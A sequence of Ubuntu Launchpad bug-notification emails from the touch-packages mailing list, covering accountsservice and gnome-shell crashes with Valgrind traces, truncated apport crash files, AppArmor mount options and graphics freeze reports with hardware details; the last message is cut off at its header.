** Changed in: gnome-shell (Ubuntu) Milestone: ubuntu-23.04 => None ** Changed in: accountsservice (Ubuntu) Assignee: (unassigned) => Sebastien Bacher (seb128) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to accountsservice in Ubuntu. https://bugs.launchpad.net/bugs/1966905 Title: gnome-shell crashed with SIGSEGV in g_type_check_instance_cast() from free_fetch_user_request() [accountsservice] Status in accountsservice: Fix Released Status in gnome-control-center: Fix Released Status in accountsservice package in Ubuntu: Fix Released Status in gnome-control-center package in Ubuntu: Fix Released Status in gnome-shell package in Ubuntu: Invalid Bug description: This is now the #1 gnome-shell crasher in Ubuntu 23.04. https://errors.ubuntu.com/problem/d85747462e756cb405d1e87b9c59b0b995a7d394 https://errors.ubuntu.com/problem/1674bdbf40a28b5f59067ffde832ba508ecba114 Valgrind memory errors in gnome-shell 42 from accountsservice: ==60511== Invalid read of size 8 ==60511==at 0x4D207FA: g_type_check_instance_cast (gtype.c:4120) ==60511==by 0x1E421CA2: free_fetch_user_request (act-user-manager.c:1708) ==60511==by 0x1E4298E7: on_find_user_by_name_finished (act-user-manager.c:1187) ==60511==by 0x4BC0C08: g_task_return_now (gtask.c:1230) ==60511==by 0x4BC0E0A: UnknownInlinedFun (gtask.c:1300) ==60511==by 0x4BC0E0A: g_task_return (gtask.c:1256) ==60511==by 0x4C298BA: reply_cb (gdbusproxy.c:2576) ==60511==by 0x4BC0C08: g_task_return_now (gtask.c:1230) ==60511==by 0x4BC0E0A: UnknownInlinedFun (gtask.c:1300) ==60511==by 0x4BC0E0A: g_task_return (gtask.c:1256) ==60511==by 0x4C2107E: g_dbus_connection_call_done (gdbusconnection.c:5895) ==60511==by 0x4BC0C08: g_task_return_now (gtask.c:1230) ==60511==by 0x4BC0C4C: complete_in_idle_cb (gtask.c:1244) ==60511==by 0x4D9CC23: UnknownInlinedFun (gmain.c:3417) ==60511==by 0x4D9CC23: g_main_context_dispatch (gmain.c:4135) ==60511== Address 0x185b5110 is 0 bytes inside a block of size 64 free'd ==60511==at 0x484B27F: free (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so) ==60511==by 0x4D1F7D4: g_type_free_instance (gtype.c:2008) ==60511==by 0x1E428ECA: UnknownInlinedFun (act-user.c:562) ==60511==by 0x1E428ECA: UnknownInlinedFun (act-user.c:557) ==60511==by 0x1E428ECA: _act_user_update_from_object_path (act-user.c:1346) ==60511==by 0x1E42966F: fetch_user_incrementally (act-user-manager.c:1789) ==60511==by 0x1E4298E7: on_find_user_by_name_finished (act-user-manager.c:1187) ==60511==by 0x4BC0C08: g_task_return_now (gtask.c:1230) ==60511==by 0x4BC0E0A: UnknownInlinedFun (gtask.c:1300) ==60511==by 0x4BC0E0A: g_task_return (gtask.c:1256) ==60511==by 0x4C298BA: reply_cb (gdbusproxy.c:2576) ==60511==by 0x4BC0C08: g_task_return_now (gtask.c:1230) ==60511==by 0x4BC0E0A: UnknownInlinedFun (gtask.c:1300) ==60511==by 0x4BC0E0A: g_task_return (gtask.c:1256) ==60511==by 0x4C2107E: g_dbus_connection_call_done (gdbusconnection.c:5895) ==60511==by 0x4BC0C08: g_task_return_now (gtask.c:1230) ==60511== Block was alloc'd at ==60511==at 0x4848899: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so) ==60511==by 0x4DA5718: g_malloc (gmem.c:125) ==60511==by 0x4DBCB64: g_slice_alloc (gslice.c:1072) ==60511==by 0x4DBD1CD: g_slice_alloc0 (gslice.c:1098) ==60511==by 0x4D24E61: g_type_create_instance (gtype.c:1911) ==60511==by 0x4D0BF4C: g_object_new_internal (gobject.c:2011) ==60511==by 0x4D0D1AC: g_object_new_with_properties (gobject.c:2181) ==60511==by 0x4D0DCB0: g_object_new (gobject.c:1821) ==60511==by 0x1E422792: create_new_user (act-user-manager.c:706) ==60511==by 0x1E429BD8: act_user_manager_get_user (act-user-manager.c:1879) ==60511==by 0x68ADE2D: ??? (in /usr/lib/x86_64-linux-gnu/libffi.so.8.1.0) ==60511==by 0x68AA492: ??? (in /usr/lib/x86_64-linux-gnu/libffi.so.8.1.0) ==60511== ==60511== Invalid read of size 8 ==60511==at 0x4D206E9: g_type_check_instance_is_fundamentally_a (gtype.c:4091) ==60511==by 0x4D06E9A: g_object_set_data (gobject.c:3982) ==60511==by 0x1E421CB6: free_fetch_user_request (act-user-manager.c:1708) ==60511==by 0x1E4298E7: on_find_user_by_name_finished (act-user-manager.c:1187) ==60511==by 0x4BC0C08: g_task_return_now (gtask.c:1230) ==60511==by 0x4BC0E0A: UnknownInlinedFun (gtask.c:1300) ==60511==by 0x4BC0E0A: g_task_return (gtask.c:1256) ==60511==by 0x4C298BA: reply_cb (gdbusproxy.c:2576) ==60511==by 0x4BC0C08: g_task_return_now (gtask.c:1230) ==60511==by 0x4BC0E0A: UnknownInlinedFun (gtask.c:1300) ==60511==by 0x4BC0E0A: g_task_return (gtask.c:1256) ==60511==by 0x4C2107E: g_dbus_connection_call_done
[Touch-packages] [Bug 2015962] Re: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object
This crash happens on logout, BTW. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to accountsservice in Ubuntu. https://bugs.launchpad.net/bugs/2015962 Title: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object_unref() from im_accounts_service_dispose() Status in accountsservice package in Ubuntu: Confirmed Status in indicator-messages package in Ubuntu: Confirmed Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding indicator-messages. This problem was most recently seen with package version 13.10.1+18.10.20180918-0ubuntu3, the problem page at https://errors.ubuntu.com/problem/94c77bb11d79da78a8cb610adb9252f41d2ab4a4 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/accountsservice/+bug/2015962/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015962] Re: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object
Yes confirmed still happening in bug 2015982 with libaccountsservice0 22.08.8-1ubuntu6 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to accountsservice in Ubuntu. https://bugs.launchpad.net/bugs/2015962 Title: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object_unref() from im_accounts_service_dispose() Status in accountsservice package in Ubuntu: Confirmed Status in indicator-messages package in Ubuntu: Confirmed Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding indicator-messages. This problem was most recently seen with package version 13.10.1+18.10.20180918-0ubuntu3, the problem page at https://errors.ubuntu.com/problem/94c77bb11d79da78a8cb610adb9252f41d2ab4a4 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/accountsservice/+bug/2015962/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015962] Re: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object
I just got another one in bug 2015982 with libaccountsservice0 22.08.8-1ubuntu6 (after several reboots) so let's see what that retraces to. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to accountsservice in Ubuntu. https://bugs.launchpad.net/bugs/2015962 Title: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object_unref() from im_accounts_service_dispose() Status in accountsservice package in Ubuntu: Confirmed Status in indicator-messages package in Ubuntu: Confirmed Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding indicator-messages. This problem was most recently seen with package version 13.10.1+18.10.20180918-0ubuntu3, the problem page at https://errors.ubuntu.com/problem/94c77bb11d79da78a8cb610adb9252f41d2ab4a4 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/accountsservice/+bug/2015962/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2012563] Re: unsupported mount options: 'nofail', 'nostrictatime', 'lazytime', and 'nolazytime'
Hi Oliver, Could you please add the options listed in comment #1 as well? They are used by FunctionFS. Thank you. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apparmor in Ubuntu. https://bugs.launchpad.net/bugs/2012563 Title: unsupported mount options: 'nofail', 'nostrictatime', 'lazytime', and 'nolazytime' Status in apparmor package in Ubuntu: New Bug description: The following mount options are unsupported: 'nofail', 'nostrictatime', 'lazytime', and 'nolazytime'. Other mount options have mappings from options to bitflags in `parser/mount.cc`, and the bitflags themselves are defined in `parser/mount.h`. Should the aforementioned mount options be included as well, or is there a reason why they are excluded? snapd currently assumes that they are supported, resulting in an error from the apparmor parser when a snap is connected with those options. I'd be happy to file a PR to add these mappings if I knew what the new bitflags should be defined as, and if/how they should be used elsewhere. For completeness: 1) This is a question/bug regarding the source code from the 'ubuntu/devel' branch (and presumably other branches), not a particular release. 2) Same as 1). 3) I expected the apparmor parser to recognize the 'nofail', 'nostrictatime', 'laztime', and 'nolazytime' mount options. 4) The apparmor parser threw an error with message "unsupported mount options" (from within `parser/mount.cc`). To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/2012563/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015857] Re: Repeatedly unusable truncated crash files
Steps to reproduce: 1. Make sure you don't have the fix for bug 1974293, so make sure libgjs0g == 1.76.0-1 2. Log into Lunar. 3. Interact with the desktop, icon grid and calendar for 30 seconds. 4. Log out. 5. Crash files written. ** Changed in: apport (Ubuntu) Status: Incomplete => New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/2015857 Title: Repeatedly unusable truncated crash files Status in apport package in Ubuntu: New Bug description: Repeatedly unusable truncated crash files: Bug 2012974, bug 2015842, bug 2015140, bug 2012075 Based on my own testing, the problems seems to happen if multiple binaries crash simultaneously (like at logout). One crash file gets fully written and the other is incomplete. If I remove apport from the equation and just get the kernel to dump core files then the core files are always written reliably (should be several hundred MB in the case of gnome-shell). To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/2015857/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015857] Re: Repeatedly unusable truncated crash files
And another. ** Attachment added: "_usr_bin_gnome-shell.1000.crash" https://bugs.launchpad.net/ubuntu/+source/apport/+bug/2015857/+attachment/5663204/+files/_usr_bin_gnome-shell.1000.crash -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/2015857 Title: Repeatedly unusable truncated crash files Status in apport package in Ubuntu: New Bug description: Repeatedly unusable truncated crash files: Bug 2012974, bug 2015842, bug 2015140, bug 2012075 Based on my own testing, the problems seems to happen if multiple binaries crash simultaneously (like at logout). One crash file gets fully written and the other is incomplete. If I remove apport from the equation and just get the kernel to dump core files then the core files are always written reliably (should be several hundred MB in the case of gnome-shell). To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/2015857/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015857] Re: Repeatedly unusable truncated crash files
I suspect the fix for bug 1974293 (released a minute ago) will hide the problem for now, but my machine does still have one "useless" crash file from last week (attached). ** Attachment added: "_usr_bin_gnome-shell.1000.crash" https://bugs.launchpad.net/ubuntu/+source/apport/+bug/2015857/+attachment/5663203/+files/_usr_bin_gnome-shell.1000.crash -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/2015857 Title: Repeatedly unusable truncated crash files Status in apport package in Ubuntu: Incomplete Bug description: Repeatedly unusable truncated crash files: Bug 2012974, bug 2015842, bug 2015140, bug 2012075 Based on my own testing, the problems seems to happen if multiple binaries crash simultaneously (like at logout). One crash file gets fully written and the other is incomplete. If I remove apport from the equation and just get the kernel to dump core files then the core files are always written reliably (should be several hundred MB in the case of gnome-shell). To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/2015857/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015751] Re: Screen output is laggy after boot
*** This bug is a duplicate of bug 2007668 *** https://bugs.launchpad.net/bugs/2007668 Thank you for taking the time to report this bug and helping to make Ubuntu better. This particular bug has already been reported and is a duplicate of bug 2007668, so it is being marked as such. Please look at the other bug report to see if there is any missing information that you can provide, or to see if there is a workaround for the bug. Additionally, any further discussion regarding the bug should occur in the other report. Feel free to continue to report any other bugs you may find. ** Package changed: xorg (Ubuntu) => linux-hwe-5.19 (Ubuntu) ** This bug has been marked a duplicate of bug 2007668 Intel 12th gen: Noisy screen corruption during cursor movement, and whole screen freezes, in 5.19 kernels -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/2015751 Title: Screen output is laggy after boot Status in linux-hwe-5.19 package in Ubuntu: New Bug description: The screen constantly lags and need several seconds to update the output on my device and sometimes causes horizontal stripes every time I boot from normal mode. It keeps lagging even when I press Ctrl+Alt+Fn and enter terminal mode. However, mouse and keyboard input still works as normal. The problem first appeared after I resolved a package dependency issue on Feb 17 (but I cannot remember what package was causing the dependency issue) and then rebooted the system. But the problem disappears if I choose to boot from recovery mode (this is how I gathered information for my device). ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 5.19.0-38.39~22.04.1-generic 5.19.17 Uname: Linux 5.19.0-38-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.3 Architecture: amd64 CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Apr 10 19:52:10 2023 DistUpgraded: Fresh install DistroCodename: jammy DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation Alder Lake-P Integrated Graphics Controller [8086:46a6] (rev 0c) (prog-if 00 [VGA controller]) Subsystem: Dell Device [1028:0b3e] InstallationDate: Installed on 2022-04-30 (344 days ago) InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Release amd64 (20220419) MachineType: Dell Inc. Vostro 5620 ProcEnviron: LANGUAGE=zh_CN:zh TERM=xterm-256color PATH=(custom, no user) LANG=zh_CN.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.19.0-38-generic root=UUID=1438c542-3a97-452b-822c-b17b4c0120a2 ro recovery nomodeset dis_ucode_ldr SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/13/2022 dmi.bios.release: 1.11 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.11.0 dmi.board.name: 0HRNCW dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 10 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr1.11.0:bd12/13/2022:br1.11:svnDellInc.:pnVostro5620:pvr:rvnDellInc.:rn0HRNCW:rvrA00:cvnDellInc.:ct10:cvr:sku0B3E: dmi.product.family: Vostro dmi.product.name: Vostro 5620 dmi.product.sku: 0B3E dmi.sys.vendor: Dell Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.113-2~ubuntu0.22.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 22.2.5-0ubuntu0.1~22.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 22.2.5-0ubuntu0.1~22.04.1 version.xserver-xorg-core: xserver-xorg-core 2:21.1.3-2ubuntu2.9 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20210115-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-2build1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux-hwe-5.19/+bug/2015751/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015714] Re: Xorg freeze
Thank you for taking the time to report this bug and helping to make Ubuntu better. It sounds like some part of the system has crashed. To help us find the cause of the crash please follow these steps: 1. Look in /var/crash for crash files and if found run: ubuntu-bug YOURFILE.crash Then tell us the ID of the newly-created bug. 2. If step 1 failed then look at https://errors.ubuntu.com/user/ID where ID is the content of file /var/lib/whoopsie/whoopsie-id on the machine. Do you find any links to recent problems on that page? If so then please send the links to us. Please take care to avoid attaching .crash files to bugs as we are unable to process them as file attachments. It would also be a security risk for yourself. ** Tags added: amdgpu ** Summary changed: - Xorg freeze + Freeze ** Package changed: xorg (Ubuntu) => ubuntu ** Changed in: ubuntu Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/2015714 Title: Freeze Status in Ubuntu: Incomplete Bug description: Hangs occurs either when Opera browser launches or when I surf the net in Opera. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 5.19.0-38.39~22.04.1-generic 5.19.17 Uname: Linux 5.19.0-38-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.3 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: unknown CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Apr 10 06:04:43 2023 DistUpgraded: 2022-10-09 11:13:16,478 DEBUG Running PostInstallScript: '/usr/lib/ubuntu-advantage/upgrade_lts_contract.py' DistroCodename: jammy DistroVariant: ubuntu ExtraDebuggingInterest: Yes GpuHangFrequency: Continuously GpuHangReproducibility: Occurs more often under certain circumstances GpuHangStarted: Since a couple weeks or more GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Picasso/Raven 2 [Radeon Vega Series / Radeon Vega Mobile Series] [1002:15d8] (rev c2) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] Picasso [1025:134f] InstallationDate: Installed on 2020-08-19 (963 days ago) InstallationMedia: Ubuntu 20.04.1 LTS "Focal Fossa" - Release amd64 (20200731) MachineType: Acer Aspire A515-43 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.19.0-38-generic root=UUID=71ead6cb-c8fa-4dc4-aac5-d0b56b6a8640 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: Upgraded to jammy on 2022-10-09 (182 days ago) dmi.bios.date: 12/04/2019 dmi.bios.release: 1.7 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.07 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: Grumpy_PK dmi.board.vendor: PK dmi.board.version: V1.07 dmi.chassis.type: 10 dmi.chassis.vendor: Acer dmi.chassis.version: V1.07 dmi.ec.firmware.release: 1.6 dmi.modalias: dmi:bvnInsydeCorp.:bvrV1.07:bd12/04/2019:br1.7:efr1.6:svnAcer:pnAspireA515-43:pvrV1.07:rvnPK:rnGrumpy_PK:rvrV1.07:cvnAcer:ct10:cvrV1.07:sku: dmi.product.family: Aspire 5 dmi.product.name: Aspire A515-43 dmi.product.sku: dmi.product.version: V1.07 dmi.sys.vendor: Acer version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.113-2~ubuntu0.22.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 22.2.5-0ubuntu0.1~22.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:21.1.3-2ubuntu2.9 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20210115-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-2build1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+bug/2015714/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015962] Re: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object
That was published 4 days ago, but we'll have a better idea in a week if bug 2015962 isn't the #6 crash in all of lunar anymore: https://errors.ubuntu.com/?release=Ubuntu%2023.04=week -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to accountsservice in Ubuntu. https://bugs.launchpad.net/bugs/2015962 Title: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object_unref() from im_accounts_service_dispose() Status in accountsservice package in Ubuntu: Confirmed Status in indicator-messages package in Ubuntu: Confirmed Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding indicator-messages. This problem was most recently seen with package version 13.10.1+18.10.20180918-0ubuntu3, the problem page at https://errors.ubuntu.com/problem/94c77bb11d79da78a8cb610adb9252f41d2ab4a4 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/accountsservice/+bug/2015962/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015962] Re: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object
That's the version installed on disk but are we confident they restarted their session to have that version of the library loaded by the indicator? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to accountsservice in Ubuntu. https://bugs.launchpad.net/bugs/2015962 Title: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object_unref() from im_accounts_service_dispose() Status in accountsservice package in Ubuntu: Confirmed Status in indicator-messages package in Ubuntu: Confirmed Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding indicator-messages. This problem was most recently seen with package version 13.10.1+18.10.20180918-0ubuntu3, the problem page at https://errors.ubuntu.com/problem/94c77bb11d79da78a8cb610adb9252f41d2ab4a4 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/accountsservice/+bug/2015962/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015503] Re: Xorg freeze. Can not login because black screen (GPU: Nvidia Geforce RTX 3060).
Seems the driver update messed up somehow: [4.214845] NVRM: API mismatch: the client has the version 515.86.01, but NVRM: this kernel module has the version 515.105.01. Please NVRM: make sure that this kernel module and all NVIDIA driver NVRM: components have the same version. ** Package changed: xorg (Ubuntu) => nvidia-graphics-drivers-515 (Ubuntu) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/2015503 Title: Xorg freeze. Can not login because black screen (GPU: Nvidia Geforce RTX 3060). Status in nvidia-graphics-drivers-515 package in Ubuntu: New Bug description: The last time I used my computer (right now) I applied 3 or 4 system updates before to ask to reboot. Now when booting the screen is black (impossible to login). ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 5.15.0-69.76-generic 5.15.87 Uname: Linux 5.15.0-69-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.capabilities.gpu0: Error: path was not a regular file. .proc.driver.nvidia.capabilities.mig: Error: path was not a regular file. .proc.driver.nvidia.gpus..01.00.0: Error: path was not a regular file. .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.suspend: suspend hibernate resume .proc.driver.nvidia.suspend_depth: default modeset uvm .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86_64 Kernel Module 515.105.01 Mon Feb 27 12:49:44 UTC 2023 GCC version: ApportVersion: 2.20.11-0ubuntu82.3 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: pass Date: Thu Apr 6 22:13:19 2023 DistUpgraded: Fresh install DistroCodename: jammy DistroVariant: ubuntu ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation TigerLake-H GT1 [UHD Graphics] [8086:9a68] (rev 01) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] TigerLake-H GT1 [UHD Graphics] [1025:153b] NVIDIA Corporation GA106M [GeForce RTX 3060 Mobile / Max-Q] [10de:2520] (rev a1) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] GA106M [GeForce RTX 3060 Mobile / Max-Q] [1025:1544] InstallationDate: Installed on 2022-12-12 (115 days ago) InstallationMedia: Kubuntu 22.04.1 LTS "Jammy Jellyfish" - Release amd64 (20220809.1) MachineType: Acer Nitro AN517-54 ProcEnviron: TERM=linux PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=fr_FR.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.15.0-69-generic root=UUID=3929c5bf-9857-465d-ba3d-a34cf1bdd89d ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/02/2022 dmi.bios.release: 1.17 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.17 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: Kamiq_TLS dmi.board.vendor: TGL dmi.board.version: V1.17 dmi.chassis.type: 10 dmi.chassis.vendor: Acer dmi.chassis.version: V1.17 dmi.ec.firmware.release: 1.10 dmi.modalias: dmi:bvnInsydeCorp.:bvrV1.17:bd06/02/2022:br1.17:efr1.10:svnAcer:pnNitroAN517-54:pvrV1.17:rvnTGL:rnKamiq_TLS:rvrV1.17:cvnAcer:ct10:cvrV1.17:sku: dmi.product.family: Nitro 5 dmi.product.name: Nitro AN517-54 dmi.product.sku: dmi.product.version: V1.17 dmi.sys.vendor: Acer version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.113-2~ubuntu0.22.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 22.2.5-0ubuntu0.1~22.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.nvidia-graphics-drivers: nvidia-graphics-drivers-* N/A version.xserver-xorg-core: xserver-xorg-core 2:21.1.3-2ubuntu2.9 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20210115-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-2build1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers-515/+bug/2015503/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015962] Re: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object
